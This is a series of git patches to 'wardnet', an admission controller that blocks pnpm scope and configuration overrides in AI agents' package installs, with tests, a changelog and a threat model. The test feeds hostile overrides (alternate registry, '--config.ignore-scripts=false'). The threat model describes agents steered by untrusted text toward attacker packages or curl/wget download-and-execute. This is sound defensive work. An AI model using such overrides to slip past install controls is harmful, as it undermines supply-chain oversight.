"ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + let label = format!("pnpm add {}", scope_arguments.join(" ")); + (policy, intent, label) +} From 31d26006bad19ecc7304bc6cf7e608062b81c0db Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:14:48 +0900 Subject: [PATCH 099/247] fix(admission): block pnpm workspace scope overrides --- crates/agent-artifact-admission/src/policy.rs | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index c689d4ca..aef0295c 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -512,8 +512,21 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo }) } "pnpm" => { - contains_flag(&["-g", "--global", "--prefix", "--dir", "-C"]) - || arguments.iter().any(|argument| argument == "--location=global") + contains_flag(&[ + "-g", + "--global", + "--prefix", + "--dir", + "-C", + "--filter", + "-F", + "--filter-prod", + "--workspace-root", + "-w", + "--recursive", + "-r", + "--include-workspace-root", + ]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") }) From 5f71cd53feaa2ca40a5fa0cc48c861f62104b4b4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:14:58 +0900 Subject: [PATCH 100/247] docs(changelog): record pnpm workspace-scope controls --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 191304f7..138b5bde 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory selectors, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory and filter/recursive/workspace-root selectors, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 538c905a9b21f8f12ec9167c70a2931fc6ed40c5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:15:38 +0900 Subject: [PATCH 101/247] docs(security): trace pnpm workspace selectors --- docs/doctoring/agent-artifact-admission.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index d53a11f0..704a4eec 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -18,7 +18,7 @@ Verified 2026-09-03. This note records the primary sources that justify the admi | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | -| Reject pnpm working-directory overrides | pnpm's current CLI source defines global `--dir` / `-C` as setting the working directory and accepts it before or after the subcommand; its dispatch path resolves project configuration from that directory | `requests_alternate_install_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace` | +| Reject pnpm working-directory and workspace-scope overrides | pnpm's current CLI source defines global `--dir` / `-C` as setting the working directory and exposes global filter, recursive, workspace-root and include-workspace-root selectors that can retarget `add` across workspace projects | `requests_alternate_install_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace`; `pnpm_scope_escape_contract.rs` | | Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | | Reject Bun working-directory, workspace-filter and explicit-config overrides | Bun documents `--cwd` as changing the working directory, `--filter` / `-F` as selecting monorepo packages for `bun install`, and `--config` as selecting a `bunfig.toml`; Bun configuration can replace the default or scoped package registry | `requests_alternate_install_root`, `requests_alternate_trust_root`, and `bun_scope_escape_contract.rs` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | @@ -66,9 +66,11 @@ npm's current workspace documentation defines workspaces as nested packages in t npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. -### pnpm working-directory authority +### pnpm working-directory and workspace-scope authority -pnpm's current CLI source declares `dir` as a global option with short alias `-C`, long spelling `--dir`, legacy alias `prefix`, and documentation that it sets the working directory and is accepted anywhere on the command line. The current dispatch code then resolves `.npmrc` and `pnpm-workspace.yaml` from the canonicalized `--dir` rather than from the process working directory. A submitted `pnpm add` that carries `--dir` or `-C` can therefore move both project scope and project-local configuration outside the broker-reviewed workspace even when the artifact operand itself is approved. Wardnet maps both spellings, including attached-value forms, to `alternate_install_root`; the broker or quarantine executor remains responsible for establishing its own controlled working directory outside submitted argv. +pnpm's current CLI source declares `dir` as a global option with short alias `-C`, long spelling `--dir`, legacy alias `prefix`, and documentation that it sets the working directory and is accepted anywhere on the command line. The current dispatch code then resolves `.npmrc` and `pnpm-workspace.yaml` from the canonicalized `--dir` rather than from the process working directory. A submitted `pnpm add` that carries `--dir` or `-C` can therefore move both project scope and project-local configuration outside the broker-reviewed workspace even when the artifact operand itself is approved. + +The same current CLI surface exposes global `--filter` / `-F`, `--filter-prod`, `--workspace-root` / `-w`, `--recursive` / `-r`, and `--include-workspace-root`. The source comments explicitly describe filter selectors as choosing workspace projects by name/path/dependency/change query, workspace-root as running on the root project, and include-workspace-root as adding the root to recursive `add` execution. Those flags change the set of projects an approved install can mutate. Wardnet therefore maps those selectors, along with `--dir` / `-C`, to `alternate_install_root`; the broker or quarantine executor remains responsible for establishing its own controlled working directory and project set outside submitted argv. ### Yarn Classic workspace-root override @@ -104,7 +106,7 @@ npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-ins pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ -pnpm contributors. (2026). *CLI command arguments: `--dir` / `-C` working-directory option* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/cli_command.rs +pnpm contributors. (2026). *CLI command arguments: working-directory and workspace-selection options* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/cli_command.rs pnpm contributors. (2026). *CLI dispatch: configuration resolution from the selected directory* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/dispatch.rs From f3c03b387afe74c133fcb543c0e150363d940a9b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:19:15 +0900 Subject: [PATCH 102/247] test(admission): reject pnpm dotted config authority --- .../tests/pnpm_config_override_contract.rs | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs diff --git a/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs b/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs new file mode 100644 index 00000000..fa1fc524 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs @@ -0,0 +1,83 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pnpm_dotted_config_cannot_inject_unreviewed_install_authority() { + for config_argument in [ + "--config.registry=https://packages.example.invalid/", + "--config.ignore-scripts=false", + "--config.modules-dir=/tmp/unreviewed-modules", + ] { + let (policy, intent) = pnpm_case(config_argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{config_argument} must not inject caller-selected pnpm runtime configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{config_argument} must produce the stable alternate_trust_root reason" + ); + } +} + +fn pnpm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.2".to_string(), + allowed_executables: vec!["pnpm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pnpm-config-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pnpm".to_string(), + "add".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + config_argument.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 8f205a6a6e791defb8308a061b409e98462198d9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:20:39 +0900 Subject: [PATCH 103/247] fix(admission): reject pnpm dotted config authority --- crates/agent-artifact-admission/src/policy.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index aef0295c..1ebfa0f5 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -479,6 +479,10 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool && arguments .iter() .any(|argument| matches_cli_flag(argument, "--config"))) + || (executable == "pnpm" + && arguments + .iter() + .any(|argument| argument.starts_with("--config."))) } fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bool { From 80230bec082853d844c4b3a466d08e6da18a39c0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:20:58 +0900 Subject: [PATCH 104/247] docs(changelog): record pnpm config-override hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 138b5bde..c12f14b3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory and filter/recursive/workspace-root selectors, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 6d0823ce183bf0508d675bb28a478ee6b05f439c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:21:42 +0900 Subject: [PATCH 105/247] docs(security): model pnpm dotted-config authority --- .../agent-artifact-admission-threat-model.md | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index cc507855..5d8cb3f2 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -25,10 +25,10 @@ The credential file, policy/configuration file and audit file are local deployme | Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | -| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL or local path so the package manager resolves from an unreviewed source | Reject package-manager trust-root/source selectors such as pip/uv alternate indexes and Cargo registry/index/Git/path overrides before returning `allow` | `decision=block`, reason `alternate_trust_root` | +| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, or package-manager runtime-configuration channel so resolution semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | -| Workspace-scope expansion | An approved npm install adds `--workspace` or enabled `--workspaces` selection so the command operates in a caller-selected nested or multi-workspace scope instead of the broker-selected workspace | Reject submitted npm workspace selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | +| Workspace-scope expansion | An approved package install adds workspace/project selectors so the command operates in caller-selected projects instead of the broker-selected workspace | Reject submitted npm workspace selectors and pnpm working-directory/filter/recursive/workspace-root selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | | Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | | Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | | Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | @@ -42,7 +42,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected npm workspace set, or reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -52,18 +52,20 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment and workspace-scope overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources and alternate install roots/environments/workspace scopes, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount and process isolation. +- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace overrides narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration overrides narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references - National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 -- Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure Software Development Practices for Generative AI and Dual-Use Foundation Models: An SSDF Community Profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ +- pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs +- pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ From eb6523a7406200d534811cf6cd84983abef6144a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:23:19 +0900 Subject: [PATCH 106/247] docs(security): trace pnpm dotted configuration authority --- docs/doctoring/agent-artifact-admission.md | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 704a4eec..9f80a65b 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -18,7 +18,7 @@ Verified 2026-09-03. This note records the primary sources that justify the admi | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | -| Reject pnpm working-directory and workspace-scope overrides | pnpm's current CLI source defines global `--dir` / `-C` as setting the working directory and exposes global filter, recursive, workspace-root and include-workspace-root selectors that can retarget `add` across workspace projects | `requests_alternate_install_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace`; `pnpm_scope_escape_contract.rs` | +| Reject pnpm working-directory, workspace-scope and dotted runtime-config overrides | pnpm's current CLI source defines global `--dir` / `-C`, filter/recursive/workspace-root selectors, and pre-clap `--config.=` extraction that layers recognized installation-affecting settings onto runtime `Config` | `requests_alternate_install_root`; `requests_alternate_trust_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace`; `pnpm_scope_escape_contract.rs`; `pnpm_config_override_contract.rs` | | Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | | Reject Bun working-directory, workspace-filter and explicit-config overrides | Bun documents `--cwd` as changing the working directory, `--filter` / `-F` as selecting monorepo packages for `bun install`, and `--config` as selecting a `bunfig.toml`; Bun configuration can replace the default or scoped package registry | `requests_alternate_install_root`, `requests_alternate_trust_root`, and `bun_scope_escape_contract.rs` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | @@ -66,11 +66,13 @@ npm's current workspace documentation defines workspaces as nested packages in t npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. -### pnpm working-directory and workspace-scope authority +### pnpm working-directory, workspace-scope and runtime-config authority pnpm's current CLI source declares `dir` as a global option with short alias `-C`, long spelling `--dir`, legacy alias `prefix`, and documentation that it sets the working directory and is accepted anywhere on the command line. The current dispatch code then resolves `.npmrc` and `pnpm-workspace.yaml` from the canonicalized `--dir` rather than from the process working directory. A submitted `pnpm add` that carries `--dir` or `-C` can therefore move both project scope and project-local configuration outside the broker-reviewed workspace even when the artifact operand itself is approved. -The same current CLI surface exposes global `--filter` / `-F`, `--filter-prod`, `--workspace-root` / `-w`, `--recursive` / `-r`, and `--include-workspace-root`. The source comments explicitly describe filter selectors as choosing workspace projects by name/path/dependency/change query, workspace-root as running on the root project, and include-workspace-root as adding the root to recursive `add` execution. Those flags change the set of projects an approved install can mutate. Wardnet therefore maps those selectors, along with `--dir` / `-C`, to `alternate_install_root`; the broker or quarantine executor remains responsible for establishing its own controlled working directory and project set outside submitted argv. +The same current CLI surface exposes global `--filter` / `-F`, `--filter-prod`, `--workspace-root` / `-w`, `--recursive` / `-r`, and `--include-workspace-root`. The source comments describe filter selectors as choosing workspace projects by name/path/dependency/change query, workspace-root as running on the root project, and include-workspace-root as adding the root to recursive `add` execution. Those flags change the set of projects an approved install can mutate. Wardnet therefore maps those selectors, along with `--dir` / `-C`, to `alternate_install_root`. + +pnpm also extracts `--config.=` tokens before clap parses argv and applies recognized values after file-based configuration. Its `ConfigOverrides` source explicitly includes installation-affecting settings such as `registry`, `global_dir`, `modules_dir`, `virtual_store_dir`, `ignore_scripts`, trust policy, and proxy settings, while unknown keys are accepted so future pnpm configuration can evolve. That is an intentionally open-ended runtime-configuration authority that the admission controller cannot safely reproduce as a finite allowlist. Submitted pnpm dotted config therefore fails closed as `alternate_trust_root`; a trusted execution broker may establish controlled pnpm configuration outside the untrusted install argv boundary. ### Yarn Classic workspace-root override @@ -110,6 +112,10 @@ pnpm contributors. (2026). *CLI command arguments: working-directory and 